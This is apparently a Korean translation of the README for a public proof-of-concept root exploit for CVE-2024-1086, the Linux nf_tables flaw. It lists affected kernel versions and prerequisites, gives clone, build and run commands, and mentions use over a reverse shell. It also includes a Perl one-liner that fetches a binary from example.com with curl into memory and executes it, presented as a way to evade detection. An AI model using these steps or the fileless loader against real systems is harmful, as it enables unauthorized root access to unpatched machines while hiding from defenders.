
CVE-2024-1086에 대한 개념 증명 로컬 권한 상승 익스플로잇으로, nf_tables 취약점을 통해 Linux 커널 v5.14~v6.6을 대상으로 하며, KernelCTF에서 99.4%의 성공률을 보입니다.
CVE-2024-1086에 대한 범용 로컬 권한 상승 개념 증명 익스플로잇. v5.14에서 v6.6 사이의 대부분의 Linux 커널에서 작동하며 Debian, Ubuntu 및 KernelCTF를 포함합니다. KernelCTF 이미지에서 성공률은 99.4%입니다.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
익스플로잇에 대한 전체 분석 문서(배경 정보 및 유용한 다이어그램 포함)는 Flipping Pages 블로그 포스트에서 확인할 수 있습니다.
이 익스플로잇은 v5.14(포함)에서 v6.6(포함)까지의 버전에 영향을 미치며, 패치된 브랜치 v5.15.149>, v6.1.76>, v6.6.15>는 제외됩니다. 이 버전들에 대한 패치는 2024년 2월에 릴리스되었습니다. 기본 취약점은 v3.15에서 v6.8-rc1까지의 모든 버전(패치된 안정 브랜치 제외)에 영향을 미칩니다.
주의사항:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y kconfig가 설정된 v6.4> 커널( Ubuntu v6.5 포함)에서는 작동하지 않습니다.CONFIG_USER_NS=y)가 필요하며, 해당 사용자 네임스페이스가 권한이 없어야 하고(sh 명령어 sysctl kernel.unprivileged_userns_clone = 1), nf_tables가 활성화되어 있어야 합니다(kconfig CONFIG_NF_TABLES=y). 기본적으로 Debian, Ubuntu 및 KernelCTF에서는 이러한 설정이 모두 활성화되어 있습니다. 다른 배포판은 테스트되지 않았지만 작동할 수도 있습니다. 추가로, 이 익스플로잇은 x64/amd64에서만 테스트되었습니다.기본값은 로컬 셸을 사용하는 Debian, Ubuntu 및 KernelCTF에서 즉시 작동해야 합니다. 테스트되지 않은 설정/배포판에서는 kconfig 값이 대상 커널과 일치하는지 확인하십시오. 이 값들은 src/config.h에서 지정할 수 있습니다. 32GiB 이상의 물리적 메모리가 있는 머신에서 익스플로잇을 실행하는 경우 CONFIG_PHYS_MEM을 증가시키십시오.
SSH(테스트 머신에) 또는 리버스 셸을 통해 익스플로잇을 실행하는 경우 불필요한 네트워크 활동을 피하기 위해 CONFIG_REDIRECT_LOG를 1로 설정하는 것을 고려할 수 있습니다.
이 방법이 실용적이지 않다면, 기본 설정으로 컴파일된 x64 바이너리가 제공됩니다.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
바이너리: CVE-2024-1086/exploit
익스플로잇 실행은 간단합니다:
./exploit
탐지를 피해야 하는 침투 테스트 상황의 경우 파일리스 실행도 지원됩니다. 단, 대상에 Perl이 설치되어 있어야 합니다:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
이 소프트웨어 디렉터리/폴더/리포지토리("리포지토리")에 있는 프로그램 및 스크립트("프로그램")는 교육/연구 목적으로만 게시, 개발 및 배포됩니다. 저("제작자")는 이 리포지토리의 프로그램을 악의적이거나 불법적인 목적으로 사용하는 것을 용납하지 않습니다. 이는 불법 활동이 아닌 연구 공유가 목적이기 때문입니다. 여러분이 이 리포지토리의 프로그램을 사용하여 행하는 어떤 행위에 대해서도 저는 법적 책임을 지지 않습니다.